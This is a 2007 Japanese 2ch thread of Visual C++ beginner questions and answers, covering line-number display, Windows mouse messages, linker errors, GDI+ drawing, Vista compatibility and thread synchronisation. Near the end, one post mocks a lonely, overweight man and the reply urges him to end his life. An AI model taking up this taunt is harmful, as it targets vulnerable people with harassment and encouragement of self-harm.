C++/CLIからC呼び出しは可能だけど馴染めないならPlatform SDKを入れて
ネイティブでGUIを組む手もある。
0816デフォルトの名無しさん
2007/03/25(日) 14:22:06というか、CLI使うんだったらCの資産があるからと言わず
全てCLI用に組替えた方が後々いいと思う
そうじゃないなら逆にCLI使わないほうがいいと思うよ
0818デフォルトの名無しさん
2007/03/26(月) 00:30:27実際のも文字列貼り付けないやつばかりなんだろ。
コピペすりゃ一発でわかるのに。
0819デフォルトの名無しさん
2007/03/26(月) 05:05:59例えば[500]-[400]の計算をした場合、[500]に[956]を、[400]に[354]を
勝手に代入して計算してくれるものを作りたいんだけど、どうしたら
いい?
仕事で液面計の点検時、「今日の数値 - 前日の数値」を計算して
液体アルゴンの使用量を書く項目があるんだけど、このアルゴンの
数値に「2100の場合は2435、2200の場合は2110、2300の場合は...」
と所定の数字を代入して計算するんだ。
いつもは代入表を見て計算するんだけど、PCに元の数字を入力
するだけで勝手に計算してくれるプログラムが作れんかなぁと。
0820デフォルトの名無しさん
2007/03/26(月) 06:02:05http://pc11.2ch.net/test/read.cgi/tech/1164376614/
0821デフォルトの名無しさん
2007/03/26(月) 07:25:58Excel のマクロとか使った方がはるかに簡単に実現できると思う。
それでもVCで書くというなら、int型の配列にその変換テーブル入れて
処理すればあっという間に。
0822デフォルトの名無しさん
2007/03/26(月) 07:49:050823デフォルトの名無しさん
2007/03/26(月) 11:12:38どうやったら消せるんでしょ??
'test.exe': 'F:\WINNT\system32\NTDLL.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\USER32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\GDI32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\KERNEL32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\msvcr80d.dll' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\msvcrt.dll' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\imm32.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\ADVAPI32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\rpcrt4.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\indicdll.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\imejp.ime' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\SHELL32.DLL' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\SHLWAPI.DLL' を読み込みました。シンボルが読み込まれていません。
'test.exe': 'F:\WINNT\system32\comctl32.dll' を読み込みました。必要な DBG ファイルが見つからないか、開けません。
'test.exe': 'F:\WINNT\system32\imejpknl.dll' を読み込みました。シンボルが読み込まれていません。
0824デフォルトの名無しさん
2007/03/26(月) 11:16:220825デフォルトの名無しさん
2007/03/26(月) 12:42:30シンボルファイルをインストールしてもいいけど、、、
0826デフォルトの名無しさん
2007/03/26(月) 13:32:590827デフォルトの名無しさん
2007/03/27(火) 09:08:17俺も出るなぁ…。
気にしないって意見が多いけど俺は気になるw
特に、ビルドしてから実行されるまでにこれが大量に出るものだから
起動するまで時間がかかり、すごくイライラする。
ビルダとかほかのやつならすぐ確認できることがドトネトだとできない。
どうにもならんのでしょうかね。
0828デフォルトの名無しさん
2007/03/27(火) 09:54:24それを読み込むのによけい時間かかるしメモリも消費するだろうな。
気にするほどの時間じゃないと思うけど、だったらメッセージを気にしなきゃいいだけだし
0829デフォルトの名無しさん
2007/03/27(火) 09:55:480830デフォルトの名無しさん
2007/03/27(火) 10:13:270831デフォルトの名無しさん
2007/03/27(火) 10:19:19昨日ダウンロードしたVC++2005ExpressEditionです・・
バージョン8
0832デフォルトの名無しさん
2007/03/27(火) 10:23:00Expressはもって無いけど上位エディションなら
オプション > テキストエディタ > C/C++ > 全般
にある行番号をチェック
0833デフォルトの名無しさん
2007/03/27(火) 10:26:00でてきましたありがとうございます
これ標準で表示してくればいいのに!
0834デフォルトの名無しさん
2007/03/27(火) 10:29:28普通、行番号に頼るようなプログラミングはしないから大抵の人には不要だが。
そもそも、確かフッターかどこかにカーソルのある行番号が表示されてた筈だからそれで充分だろ。
0835デフォルトの名無しさん
2007/03/27(火) 10:43:06ファンクションキーで飛ぶから行番号気にしてないなあ
0836デフォルトの名無しさん
2007/03/27(火) 10:58:400837デフォルトの名無しさん
2007/03/27(火) 10:59:49適当な検索キーワードが思い浮かばず、ブックマークも
してない場合とか大体の行番号が分かってればCtrl+G
でジャンプできるし、広いディスプレイ使ってるなら
出しても良い気がする。
0838デフォルトの名無しさん
2007/03/27(火) 11:29:540839デフォルトの名無しさん
2007/03/27(火) 11:35:02どうせ分割するから1ソース200行程度だけど
「a.cppの50行目でxxの処理して、100行目でyyの処理」って感じ
あとは仕様変更とかで、
「a.cppの50〜100行目を、b.cppの150行目に移動」とか紙にメモしたり
ま、要らない奴は表示しなければいいんじゃないの?
0840デフォルトの名無しさん
2007/03/27(火) 12:20:18それはあくまでも、行番号依存型開発。
>「a.cppの50〜100行目を、b.cppの150行目に移動」とか紙にメモしたり
普通は、「a.cppの何の関数の何の処理をb.cppの何の関数のどこに移動」とメモすればいい。
まぁ、行番号依存型開発している連中の多くがdiffもpatchも使えないのは言うまでもないのだが。
0841デフォルトの名無しさん
2007/03/27(火) 12:32:22「何の関数」って覚えるといちいち探さなくちゃいけない
覚えにくい関数名だってあるし、サーチもままならない時だってある
行番号で覚えておけば一発で探せる
>まぁ、行番号依存型開発している連中の多くがdiffもpatchも使えないのは言うまでもないのだが。
行番号否依存型開発の間違いだよな?
0842デフォルトの名無しさん
2007/03/27(火) 12:52:51行番号一覧が出てもなあw
0843デフォルトの名無しさん
2007/03/27(火) 12:56:16行番号要るよ派→C言語出身
0844デフォルトの名無しさん
2007/03/27(火) 12:57:23patchは行番号が変わってもちゃんと使えますが何か。
0845デフォルトの名無しさん
2007/03/27(火) 12:58:32なんでもないから帰っていいよ
行番号表示に一票!気分的に
0846デフォルトの名無しさん
2007/03/27(火) 13:02:24画面に人集めたり、ソース印刷して持ち寄ってレビューとかするとき、番号ないと辛くない?
「n行目要らないよね/間違ってるよね/何してるの?」とか言えないと、
お話にならないと思うんだけどw
それともaaaaaaa_bbbbbbbbbbbbbb_cccccccccccc関数の上から156行目って〜って言ってるの?
0847デフォルトの名無しさん
2007/03/27(火) 13:05:050848デフォルトの名無しさん
2007/03/27(火) 13:05:48要らない言ってるのは複数人で開発したことないんだろ。
もしくはレビューとかバグ取りとか必要のない仕事
0849デフォルトの名無しさん
2007/03/27(火) 13:07:15んなもん出したければ出して出さないなら出さないでいいだろが
0850デフォルトの名無しさん
2007/03/27(火) 13:09:30俺ならそういう言い方されたら殴るなw
0851デフォルトの名無しさん
2007/03/27(火) 13:14:29で、行番号なんてカーソル行のが見えれば充分じゃね?
レビューのときなんかは印刷するからそん時だけ行番号つきで出力すればいいわけだし。
#普段から行番号が画面を占有してなければいけない理由が判らん。
0852デフォルトの名無しさん
2007/03/27(火) 13:18:520853デフォルトの名無しさん
2007/03/27(火) 13:22:55行番号へgotoする言語があったと思う。
たぶんそっち系の人だろう
0854デフォルトの名無しさん
2007/03/27(火) 13:26:24結構あるぞ個人サイトだからURLは控えるけど
0855デフォルトの名無しさん
2007/03/27(火) 13:27:26画面占有つって1cmにも満たないだろw
どれだけ大きな行番号表示してるんだよw
0856デフォルトの名無しさん
2007/03/27(火) 13:53:37右下に行桁が出てるだけで十分
0857デフォルトの名無しさん
2007/03/27(火) 14:05:10要るよ派-+-常に出しておくよ派
| |
| +-BASICの頃からあるよ派(懐古派)
| +-Ctrl+Gは行番号判らないと使えないよ派(ジャンプ派)
| +-気分的に出すよ派
| +-画面拾いから余裕で出すよ派(金持ち派)
| +-普通仕事だと要るよ派(仕事派)
| |
| +-意思疎通には要るよ派
| +-レビューには要るよ派
|
+-レビューの印刷の時だけ出すよ派
要らないよ派-+-常に出さないよ派
| |
| +-VBでも出してなかった派(Microsoft派)
| +-画面狭いよ派(貧乏派)
| +-掲示板やWebサイトでも無い派(依存派)
| +-仕事じゃない派(日曜プログラマ派)
| |
| +-複数で開発しないよ派(日曜プログラマ派)
| +-集まってレビューしないよ派(日曜プログラマ派)
| +-バグ取らないよ派(チンピラSE派)
|
+-出さないけど替わりに示すものが要るよ派
|
+-マウスで指せばいいよ派(屁理屈派)
+-指で画面を指せばいいよ(画面に指紋派)
+-エラー行にはジャンプで飛ぶよ派
+-右下に行桁が出てるだけで十分(邪魔派)
+-aaaaaaa_bbbbbbbbbbbbbb_cccccccccccc関数の上から○行目言うよ派
0858デフォルトの名無しさん
2007/03/27(火) 14:16:34プッダセー
0859デフォルトの名無しさん
2007/03/27(火) 14:20:49ワロスwww
0860デフォルトの名無しさん
2007/03/27(火) 14:22:160861デフォルトの名無しさん
2007/03/27(火) 14:28:56>>857
0862デフォルトの名無しさん
2007/03/27(火) 14:32:240863デフォルトの名無しさん
2007/03/27(火) 14:53:47こういう人材は貴重だな
0864デフォルトの名無しさん
2007/03/27(火) 15:25:36>バグ取らないよ派(チンピラSE派)
これなんだよw
0865デフォルトの名無しさん
2007/03/27(火) 16:43:480866デフォルトの名無しさん
2007/03/27(火) 16:49:190867デフォルトの名無しさん
2007/03/27(火) 16:50:370868デフォルトの名無しさん
2007/03/27(火) 16:53:58元は行番号表示はできなかった
つまり行番号なしで使うインターフェースになってる
0869デフォルトの名無しさん
2007/03/27(火) 16:54:460870デフォルトの名無しさん
2007/03/27(火) 16:55:210871デフォルトの名無しさん
2007/03/27(火) 16:57:440872デフォルトの名無しさん
2007/03/27(火) 17:01:23だんだん重くなっていく
0873デフォルトの名無しさん
2007/03/27(火) 17:03:40ですよね!
行番号表示する/しないのチェックボックス外して
常に表示にすれば少しは軽くなりますよね!
0874デフォルトの名無しさん
2007/03/27(火) 17:05:030875デフォルトの名無しさん
2007/03/27(火) 17:05:230876デフォルトの名無しさん
2007/03/27(火) 17:07:310877デフォルトの名無しさん
2007/03/27(火) 17:09:410878デフォルトの名無しさん
2007/03/27(火) 17:10:57見た感じ表示派の方が一歩上手だよな
表示しない派はコピペで応戦してるけどキレがいまいちで笑える
0879デフォルトの名無しさん
2007/03/27(火) 17:11:38糞会社に勤務してる糞社員乙
糞会社の常識なんか語られてもねえ
0880デフォルトの名無しさん
2007/03/27(火) 17:12:32は?こっちの部確認したら全員表示してないですけど?
0881デフォルトの名無しさん
2007/03/27(火) 17:13:30大変、表示しない派のお仲間も勤務中に2ch見てるみたいですよ>>880
0882デフォルトの名無しさん
2007/03/27(火) 17:13:41そんなにgoto使ってるのか?
0883デフォルトの名無しさん
2007/03/27(火) 17:14:440884デフォルトの名無しさん
2007/03/27(火) 17:18:45>>863や>>878のような自分マンセー発言はドン引きだからやめた方がいいと思うんだ
0885デフォルトの名無しさん
2007/03/27(火) 17:27:01非表示厨には>>884みたいな自治厨くさい発言が多い分、
少しだけ表示厨が勝ってる感じ
0886デフォルトの名無しさん
2007/03/27(火) 17:28:070887デフォルトの名無しさん
2007/03/27(火) 17:52:01| 非表示厨には>>884みたいな自治厨くさい発言が多い分、
| 少しだけ表示厨が勝ってる感じ
\___________ ____
∨ カタカタ____ ___
∧_∧ ||\ .\ |◎ |
(.#`Д´) || | ̄ ̄| |:[].|
∧_∧ . ┌( つ/ ̄l| / ̄ ̄/ ..| =|
∧_∧ ( TДT) |└ ヽ |二二二」二二二二二二二二」
( TДT) ( つつ  ̄]||__) | || | ||
(つ つ / / / ./ ̄\ / || / ||
と_)_) (___)__) ◎ ◎ .[___|| .[___||
∧
/ ̄ ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| 孤独な表示厨よ、もういいんだ・・・・・・・
| 本当に良く頑張った・・・もう充分じゃないか・・・
| 楽になっていいんだ・・・
| 忘れるんだ・・・何事もなかったように・・・・・
0888デフォルトの名無しさん
2007/03/27(火) 17:54:56もしくは、行番号に頼らないコード作りに慣れてて必要がないと。
別にどっちでも問題ないよ。
0889デフォルトの名無しさん
2007/03/27(火) 17:58:32表示させたがっている人は本来の主張を忘れて
勝った負けたに夢中になっているみたいだし、好きにしるで終了だな
0890デフォルトの名無しさん
2007/03/27(火) 18:05:370891デフォルトの名無しさん
2007/03/27(火) 18:14:59WM_LBUTTONDOWNはマウスの左ボタンを押された時に、発生するのはわかるのですが、
左ボタンを押しながらドラッグした時にもWM_MOUSEMOVEと共に発生し続けるのでしょうか?
0892デフォルトの名無しさん
2007/03/27(火) 18:18:14Down:1回 → Move:複数回 → Up:1回
0893デフォルトの名無しさん
2007/03/27(火) 18:21:44MOVEしてる時にもボタンの状態はわかるけど、
通常はDOWNでフラグたてて、MOVEでフラグを見てドラッグと判断
UPでフラグ倒す。という動作をする。
ウィンドウの外に行っちゃうとメッセージ来なくなるからキャプチャーもやる
0894デフォルトの名無しさん
2007/03/27(火) 18:33:47レスどもです、UPの時にも発生するんですね
そんなのどこにも書いてなかった・・・・
0895デフォルトの名無しさん
2007/03/27(火) 18:38:12何かと便利だから
0896デフォルトの名無しさん
2007/03/27(火) 18:58:13WM_CREATEはフォーム作成時、
WM_RBUTTONDOWNボタンは右ボタン押したとき、
WM_MBUTTONUPはミドルボタンを離したとき、
WM_LBUTTONDBLCLKは右ボタンをダブルクリックしたとき、
などなど・・・
もっとあるけど、本領を発揮するのはイベントを自作するときや
OLEなんかでプロパティを引き渡すときに使う場面かな
0897デフォルトの名無しさん
2007/03/27(火) 19:06:46いやいや、発生しないよ
UPの時にDOWN発生したら困るだろw
0898デフォルトの名無しさん
2007/03/27(火) 19:10:09EXPRESSとかにはなさそうな気もするが・・・
0899デフォルトの名無しさん
2007/03/27(火) 19:12:50たぶん>>894は、「UPの時にも(イベントが)発生するんですね 」と
言いたかったんだろ
0900デフォルトの名無しさん
2007/03/27(火) 19:13:45Upのときは発生しないだろ
0901デフォルトの名無しさん
2007/03/27(火) 19:19:110902デフォルトの名無しさん
2007/03/27(火) 19:25:06>>900は何を言っているんだ
0903デフォルトの名無しさん
2007/03/27(火) 19:31:02いや、>>891はこういう意味かと思ったんだけど違うのか?
WM_LBUTTONDOWNはマウスの左ボタンを押された時に、
【WM_LBUTTONDOWNが】発生するのはわかるのですが、
左ボタンを押しながらドラッグした時にもWM_MOUSEMOVEと共に
【WM_LBUTTONDOWNは】発生し続けるのでしょうか?
0904デフォルトの名無しさん
2007/03/27(火) 19:33:56うーん・・・
0905デフォルトの名無しさん
2007/03/27(火) 19:36:11Spy++もそうだが、サンプルソースを見るほうが早いのにな
0906デフォルトの名無しさん
2007/03/27(火) 19:57:00Down:1回 → Move:複数回 → Up:1回
は、
WM_LBUTTONDOWNイベントは1回発生する
WM_LBUTTONMOVEイベントは複数回発生する
WM_LBUTTONUPイベントは1回発生する
って意味だよ。
まさかボタンアップしたときにもWM_LBUTTONDOWNが発生するなんて思ってないだろ。
まさか・・・ね。
0907デフォルトの名無しさん
2007/03/27(火) 20:09:260908デフォルトの名無しさん
2007/03/27(火) 20:10:29通信簿に話を良く聞かない子って書かれただろ
0909デフォルトの名無しさん
2007/03/27(火) 20:13:53これだけスレが伸びて
>>891にまともに答えてる奴はいない
0910デフォルトの名無しさん
2007/03/27(火) 20:50:36なんつーかあれだ、調べればわかる
マウス左ボタンDOWN時:
WM_LBUTTONDOWN発生
マウス移動時(ボタンDOWNなし):
WM_MOUSEMOVE発生
マウスドラッグ時(左ボタンDOWN):
WM_MOUSEMOVE発生
マウス左ボタンUP時(左ボタン押下):
WM_LBUTTONUP発生
WM_MOUSEMOVE発生
0911910
2007/03/27(火) 21:11:01(1)の方はUP時にもMOVEが発生する
(2)はUPだけ
(1)左ボタンDOWN→ドラッグ→左ボタンUP
WM_LBUTTONDOWN→WM_MOUSEMOVE発生→WM_LBUTTONUP発生WM_MOUSEMOVE発生
(2)左ボタンDOWN→左ボタンUP (同じ場所)
WM_LBUTTONDOWN→WM_LBUTTONUP発生
0912デフォルトの名無しさん
2007/03/27(火) 21:12:33単にお前がボタンアップ時に手がぶれたとかじゃないよな?
0913デフォルトの名無しさん
2007/03/27(火) 21:27:13ぶれてないと思うけど更に衝撃の事実
>>911はJaneで確かめたんだけど、今IEでやってみたら
(1)左ボタンDOWN→ドラッグ→左ボタンUP
WM_LBUTTONDOWN→WM_MOUSEMOVE発生→WM_LBUTTONUP発生
(2)は同じ
Winspectorで確認した
0914デフォルトの名無しさん
2007/03/27(火) 21:32:27誰か正解教えてくれ
0915デフォルトの名無しさん
2007/03/27(火) 21:45:15もう十分結論でてると思うが。
0916デフォルトの名無しさん
2007/03/27(火) 21:50:46まずこれがあってからドラッグだ。
左ボタン押していないのにドラッグということはない。
左ボタン押したままだからといってWM_LBUTTONDOWNが連続で送られてくることはない。
押したときに一度だけだ。キーボードのようなリピートはない。
左ボタンUPでドロップだ。
ドラッグアンドドロップ終了。
そのあとのWM_MOUSEMOVEはドラッグアンドドロップと関係ない。
手がぶれたか、ウィンドウの方が動いたとかか?
<余談>
新しくウィンドウを作成したときもマウスカーソルがたまたまそこにあれば
マウスを動かしてなくてもWM_MOUSEMOVEが送られてくると聞いたことがある。
確かめたことはない。
</余談>
0917デフォルトの名無しさん
2007/03/27(火) 22:06:10通常状態でカーソルが通過するのと変わらん
0918デフォルトの名無しさん
2007/03/27(火) 23:07:480919デフォルトの名無しさん
2007/03/28(水) 02:08:36>>918
クリックするしないに関わらずMoveイベントが発生する、ということを>>917は
言いたいんじゃないかな
>>908
お前さ、人にどうこう言う前に、自分の読解力をどうにかしろ
IDないから誰がいつなにを言っているか掴みづらいだろうけど
0920デフォルトの名無しさん
2007/03/28(水) 02:11:44>>903
0921デフォルトの名無しさん
2007/03/28(水) 09:20:53やるこたかわらん。
途中メッセージの抜けがあっても何とかなるもんだし。
0922デフォルトの名無しさん
2007/03/28(水) 13:12:110923デフォルトの名無しさん
2007/03/28(水) 15:42:38初心者は特に。
まず単語が分からない。
言ってることは確実に正しいんだろうけど何のことを言っているのか
理解できない。
理解できるように膨大にある理解不能な単語の勉強からまずはじまる。
それがイヤだからこういうスレの存在意義があるのではないだろうか?
>>922の結論でFAならこの板の半分くらいのスレは必要がない。
0924デフォルトの名無しさん
2007/03/28(水) 16:08:230925デフォルトの名無しさん
2007/03/28(水) 16:48:56何から手をつければいいかわからないとか、
自分が知っている手法よりもっといいものはないかを知りたいとか、
そういうときにはスレで聞くのがいいだろうけど、
>>891みたいな質問の場合はMSDNを見たり本を見たり
自分で調べるプログラムを書いたりした方がいい。
0926デフォルトの名無しさん
2007/03/28(水) 16:50:15こういう場所の存在意義はエスパー逆引きだろ。
「これこれこういううだうだぐだぐだ」に対してググるべき単語を示してやる。
元の「これこれこういう〜」にそれが含まれてることは多々あり、それには>922でおk。
>891クラスなら「実際にやってみろ」で十分すぎる。
0927デフォルトの名無しさん
2007/03/28(水) 16:52:25俺も助かったことあるし
0928デフォルトの名無しさん
2007/03/28(水) 17:27:290929デフォルトの名無しさん
2007/03/28(水) 20:18:08でも祝ってくれる人もいない
21歳も
31歳も
一人きりの寂しい寂しい誕生日だった
いったい誰が人間の形をした41歳の肉槐を愛することができるだろう
だから
これからもずっと一人
醜くも膨れ上がった豚のような体つきでは
若い部下たちが楽しい夜をすごすために帰るのが悔しくて
デブ特有のキンキン声で嫌がらせ
でもやっぱりむなしくなって家では一人涙を流す毎日
そんなあまりに惨めな脂肪の塊
一山いくらの屑肉、
豚松、あらため、台帳デブの
哀れな哀れな哀れな
一日が今日も過ぎてゆく
0930デフォルトの名無しさん
2007/03/28(水) 23:59:17鬱陶しいからその日々に終止符を打ってください。
方法は問いません。
0931デフォルトの名無しさん
2007/03/29(木) 10:05:420932デフォルトの名無しさん
2007/03/29(木) 10:56:590933デフォルトの名無しさん
2007/03/31(土) 02:02:53ttp://www.morikita.co.jp/soft/84142
にあるVisual C++ .NET用のCG_NET.exeというファイルを落として解凍しprjフォルダにある
EX2_1.slnをビルドしようとしましたがエラーが出てできません。
具体的にはファイルを開くと出る変換ウィザードで変換したあとビルドして見ると、
いくつかエラーが出てmain関数にvoidを指定してfor文にintを指定していくと最終的に
「LINK : fatal error LNK1104: ファイル 'LIBC.lib' を開くことができません。」というエラーが出ます。
これはどうすればいいんでしょう?
追加の依存ファイルにlibc.libを指定してもだめだし、特定のライブラリの無視に指定したら
「win.lib(win.obj) : error LNK2019: 未解決の外部シンボル "int __cdecl g__main(int,char * * const)" (?g__main@@YAHHQAPAD@Z) が関数 "unsigned long __cdecl u__Tproc1(void *)" (?u__Tproc1@@YAKPAX@Z) で参照されました。
..\obj/EX2_1.exe : fatal error LNK1120: 外部参照 1 が未解決です。」
に変わりましたが相変わらずビルドできません。
よろしくお願いします。
0934デフォルトの名無しさん
2007/03/31(土) 02:32:30追加でリンク指定している win.lib が、
シングルスレッド用である libc.lib を利用しているんじゃないか?
もしこれが正しければ、win.lib をマルチスレッド用ライブラリリンク版 (/MT オプション) を作らないといけない。
VS2005 からはシングルスレッド用のライブラリがなくなってしまったからなぁ。
あと、main の戻り値は int だ。
0935デフォルトの名無しさん
2007/03/31(土) 02:44:33ページ自体は今月にも修正が掛かっているみたいだから、(書籍を購入しているなら)クレームつけてみたら?
マルチスレッド版のwin.libを作ってくれるかもよ。
0936933
2007/03/31(土) 03:37:53mainにint指定してreturn 0;を関数の最後に入れて、リンカの設定の特定のライブラリを
無視のところにlibc.libを指定したらビルドできました。
mainの戻り値intってちゃんと決まってるんですね。慣例かと思ってました。
ありがとうございました。
0937デフォルトの名無しさん
2007/04/03(火) 18:53:20MS VC++ .NET 2003 なのですが、
CFont font;
label1->Font = font;
これをやると
Form1.h(676): error C2664: 'System::Windows::Forms::Control::set_Font' : 1 番目の引数を 'CFont' から 'System::Drawing::Font __gc *' に変換できません。
と出ます。ラベルのフォントをこの方法で変えたいだけなのですが、どこがおかしいのでしょうか。
0938デフォルトの名無しさん
2007/04/03(火) 18:53:590939デフォルトの名無しさん
2007/04/03(火) 19:06:55.netにもそういうものがあるのか?
0940937
2007/04/03(火) 19:16:10なんか根本的な勘違いをしているような気がしてきました・・・
0941はじめてのはじめての人
2007/04/05(木) 00:04:550942デフォルトの名無しさん
2007/04/05(木) 01:03:03話はそれからだ
0943sage
2007/04/05(木) 21:21:24ボタンなどのコンポーネントを
プログラム上から追加したいのですが、
どのようにすればいいですか?
0944デフォルトの名無しさん
2007/04/05(木) 21:54:360945nori
2007/04/05(木) 22:38:20Visual C++.NET 2003 の Windows Form Application で作ったアニメーションに、
Directsoundで音を付けたいのですが、どなたかご存知の方、教えてください。
複数音を同時に鳴らしたいので、Soundplayは使えないのです。
いろいろ調べて見たのですが、Visual Basic、Visual C# または Windows Console Application では、資料は
見つかるのですが、Visual C++.NET では、見つけられなくて困ってます。
よろしくお願いします。
0946デフォルトの名無しさん
2007/04/05(木) 23:54:23どうやってって、年月日時分秒が判るんなら、1970年1月1日の0時0分0秒からの秒数を算出すればいいじゃないか
0947デフォルトの名無しさん
2007/04/06(金) 00:43:33するにはどうしたらよいのでしょうか?教えてください。
0948デフォルトの名無しさん
2007/04/06(金) 00:55:59wchar_t b;
b = (wchar_t)a;
0949デフォルトの名無しさん
2007/04/06(金) 01:15:42ttp://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/DirectX9_c/directx/htm/directsound.asp
ttp://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/DirectX9_m/directx/sound/directsound.asp
ネイティブコードとマネージドコードで別の方法が取れる。
0950デフォルトの名無しさん
2007/04/06(金) 01:20:04bool a;
const wchar_t * b = a ? L"True": "False";
みたいなことじゃないかと思うんだがどうだろう?
0951947
2007/04/06(金) 02:30:58返信遅れました。
質問が漠然としすぎて混乱させてしまったようで申し訳ありません。
私が知りたかったのはまさに>950さんのコードです。
ありがとうございます。
0952雨とむり
2007/04/06(金) 10:22:52WindowsVistaに入れて起動させようとしたら、
動きませんでした。
どうすれば動くのでしょうか。
※ちなみにXML形式でファイルの保存等を行っています。
0953デフォルトの名無しさん
2007/04/06(金) 10:27:35動かないというのはこんな感じ?
>C:\>hoge
>'hoge' は、内部コマンドまたは外部コマンド、
>操作可能なプログラムまたはバッチ ファイルとして認識されていません。
0954雨とむり
2007/04/06(金) 10:57:09お返事ありがとうございます。
↓こんなメッセージが出ます。
問題が発生したために、プログラムが正しく動作しなくなりました。
プログラムは閉じられ、解決策がある場合はwindowsから通知されます。
ちなみに通知らしき物は来なかったです。
0955デフォルトの名無しさん
2007/04/06(金) 11:37:59詳細見てエラーの起きたアドレス調べて
元の開発環境でそのアドレスがどこか調べるとか
リモートデバッグするか、Vista上でデバッグするとか
0956デフォルトの名無しさん
2007/04/06(金) 11:38:47ここを見れば分かるけど、
VistaってVisualStudioに限ってみても、おびただしい数の不具合があるな…。
開発者泣かせすぎワロタww
0957雨とむり
2007/04/06(金) 11:49:26>>956
ありがとうございます。
よくよく調べてみたら、
manifestファイルという物を使ってGUIの画面をXPっぽくしてました。
このファイルを取り除くと動きましたが、画面の形式は
変えたくないので何か方法はないのでしょうか?
0958デフォルトの名無しさん
2007/04/06(金) 12:47:410959デフォルトの名無しさん
2007/04/06(金) 12:52:15CString bar = "abcd";
const char * foo = bar;
0960デフォルトの名無しさん
2007/04/06(金) 15:31:10環境は VC++2003.NET です。
GDI+にて、描画部分だけ色を反転させた線を引きたいと思っています。
pen>SetDashStyle(DashStyleDash);
pen->SetColor(Color::Black);
pen->SetWidth(1.0f);
などとペンを定義して描画することはできるのですが、
どうやったら反転させることができるのでしょうか?
おながいします。
0961デフォルトの名無しさん
2007/04/06(金) 16:15:180962960
2007/04/06(金) 16:50:31ありがとうございます。
白で線を引くということでしょうか?
反転されるためにXOR指定などがあるのではないか、と予想していましたが・・・。
ちょっとやってみます。
0963デフォルトの名無しさん
2007/04/06(金) 17:05:48SetROP2()
0966デフォルトの名無しさん
2007/04/06(金) 17:23:120967デフォルトの名無しさん
2007/04/06(金) 17:28:13というのがGraphicesが対象とするImageはBItmapであることを限定してないため、
Bitmapであることを前提にしたラスタオペレーションは無くなった。
もしこれをサポートするとなるとBitmapオブジェクトに直接描画メソッドを追加することになるだろう。
自作したいならBitmapを生のイメージで操作する必要がある。
GDI+の範囲でやりたいなら反転とは違うが半透明色で線を引いてみたらどうだろうか。
ただ2005から追加になったCopyFromScreenのCopyPixelOperationにはなぜかラスタオぺの香りが漂っていたりする。
0968960
2007/04/06(金) 17:41:51分かりやすい解説ありがとうございます。
更にお聞きしたいのですが、ビットマップの描画ではラスタオペレータは
困難のように読めますが、反転した線を引くだけでも同様でしょうか?
簡単な(プロパティを指定して終わりみたいな)方法などが
あれは教えてもらいたいのですが・・・
0969デフォルトの名無しさん
2007/04/07(土) 17:37:04「ブレークポイントは現在の設定ではヒットしません。このドキュメントのシンボルが読み込まれていません」と
赤い丸のところに表示されて、ウォッチができません。どうやってらウォッチできるようになりますか?
0970エボニー
2007/04/09(月) 12:45:28VISTAとXPでは行間隔に違いがでます。
XPは隙間無く次の行(改行コード入れてます)の文字列が表示されますが、
VISTAの方は変な隙間が出ます。
この違いを解消する方法を教えてください。
0971デフォルトの名無しさん
2007/04/09(月) 12:48:350972デフォルトの名無しさん
2007/04/09(月) 12:52:230973エボニー
2007/04/09(月) 13:03:59VISTAの仕様という事はコーディングで直せる物ではないとう事でしょうか?
0974デフォルトの名無しさん
2007/04/09(月) 13:05:330975デフォルトの名無しさん
2007/04/10(火) 12:29:24関係ないけどその無駄な改行が気になるんだが・・・
0976バリバリ
2007/04/10(火) 16:41:35改行コードを入れないと文字が横一列に並んでしまいますので
必要なんですよ。
0977デフォルトの名無しさん
2007/04/10(火) 17:07:45そ
うで
す
か
0978デフォルトの名無しさん
2007/04/11(水) 22:51:30ぽっか〜ん(´・ω・`)このあとどうすればいいんだろ
0979デフォルトの名無しさん
2007/04/11(水) 23:02:46使い倒して世界一のプログラマになるに決まってるだろ?
0980デフォルトの名無しさん
2007/04/11(水) 23:40:06俺に預けるといいよ
0981デフォルトの名無しさん
2007/04/12(木) 11:55:46上を目指そうぜ?
0982デフォルトの名無しさん
2007/04/12(木) 12:30:36MFCマルチスレッドプログラミング
UIスレッドワーカースレッド両方使用
スレッド数40ほど
デバッグモードでは動作は正常だったのですが
デバッグ無しモードだと動作が不安定になります
他スレッドの変数を変えて制御してますが
同じスレッドに同時に変更するようなところは見当たりません
デバッグモードでやるとブレークポイントをつけているわけでもないのに
正常に動作します
このような場合の原因はどんなことがあるのかわかりますか?
0983デフォルトの名無しさん
2007/04/12(木) 13:17:34あと、どんな処理をしてるかとかあればもっと答えが出やすいかもよ?
お前が人に聞かれて答えるのに別の質問で似たような表現されてわかるか?
0984デフォルトの名無しさん
2007/04/12(木) 13:32:47スレッドAがループで止まっていてスレッドBが各スレッドの変数を変えに
行っていますスレッドCが条件を充たすとスレッドBにスレッドAのループを
抜けるように変数の値を変えにいきます
ループを抜けたいのに抜けなかったり抜けたくないのに抜けたりします
ループを制御してる変数を
他スレッドから変数を変えにいってるはずが変えられてなかったりしてます
デバッグモードだけで成功するような状況はどういうことなのか教えてください
0985デフォルトの名無しさん
2007/04/12(木) 13:35:55同期はメモリを直接参照するのではなく、ちゃんと同期オブジェクト使わんと遺憾よ。
0986デフォルトの名無しさん
2007/04/12(木) 15:26:21同士よ、とりあえず自分は「質問が出来る」ようになる事を
第一の目標としてるorz
